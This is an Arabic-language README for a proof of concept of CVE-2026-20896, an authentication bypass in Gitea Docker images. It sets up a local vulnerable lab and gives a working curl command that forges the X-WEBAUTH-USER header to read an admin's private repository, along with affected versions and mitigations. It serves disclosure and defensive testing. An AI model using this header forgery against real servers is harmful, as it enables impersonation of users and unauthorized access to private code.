
CVE-2026-20896 — Updated!
تجاوز المصادقة في صورة Docker لـ Gitea
CVE-2026-20896: تجاوز المصادقة في صور Gitea Docker - إثبات المفهوم
[!WARNING] استخدم إثبات المفهوم هذا فقط في بيئة اختبار محلية أو ضد نظام لديك إذن صريح لاختباره.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
نظرة عامة
CVE-2026-20896 هو تجاوز للمصادقة في صور Gitea Docker الرسمية المتأثرة. عند تفعيل المصادقة عبر البروكسي العكسي، فإن الإعداد REVERSE_PROXY_TRUSTED_PROXIES = * الذي يولّده الصورة يسمح لعميل يمكنه الوصول إلى خادم Gitea الخلفي بانتحال شخصية مستخدم موجود من خلال ترويسة X-WEBAUTH-USER.
ينشئ المختبر مسؤولاً باسم gitea-admin بكلمة مرور عشوائية ويخزن CVE-2026-20896_AUTH_BYPASS_CONFIRMED في المستودع الخاص gitea-admin/private-proof. قراءة هذا الملف دون معرفة كلمة مرور المسؤول العشوائية تثبت نجاح التجاوز.
الإصدارات المتأثرة
| الفئة | الإصدار |
|---|---|
| المتأثر | صور gitea/gitea الرسمية لـ Docker ≤ 1.26.2 |
| أول إصدار مُصحح | 1.26.3 |
| الموصى به | 1.26.4 أو أحدث |
يتطلب التكوين القابل للاستغلال تفعيل المصادقة عبر البروكسي العكسي وإمكانية الوصول المباشر إلى خادم Gitea الخلفي، أو وجود بروكسي وسيط يحافظ على ترويسة الهوية المقدمة من المهاجم. لا يلزم وجود حاوية بروكسي عكسي لإعادة الإنتاج المحلي هذه.
البيئة
# البناء
docker build -t cve-2026-20896-gitea-vuln .
# التشغيل
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
انتظر بضع ثوانٍ حتى يتم تهيئة Gitea ومستودع الإثبات الخاص.
إثبات المفهوم
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
يعيد الاستغلال الناجح CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
Python
python poc.py http://127.0.0.1:3000
يقارن السكربت بين الطلبات غير المصادق عليها، وطلبات المستخدم غير المسؤول، وطلبات المسؤول المزورة، ويطبع VULNERABLE عند تأكيد تجاوز التفويض. يتطلب Python 3.10 أو أحدث ويستخدم المكتبة القياسية فقط.
التأثير
- انتحال شخصية مستخدمي Gitea المعروفين أو القابلين للتخمين
- وصول غير مصرح به إلى المستودعات الخاصة وموارد المستخدمين
- إجراءات إدارية عند انتحال شخصية حساب مسؤول
التخفيف
- قم بالترقية إلى Gitea 1.26.3 أو أحدث؛ يُوصى بالإصدار 1.26.4 أو أحدث.
- قيّد
REVERSE_PROXY_TRUSTED_PROXIESعلى عناوين البروكسي الموثوقة. - امنع الوصول المباشر إلى خادم Gitea الخلفي واستبدل ترويسات الهوية المقدمة خارجياً.
- عطّل المصادقة عبر البروكسي العكسي عندما لا تكون مطلوبة.
التنظيف
docker stop cve-2026-20896-gitea-vuln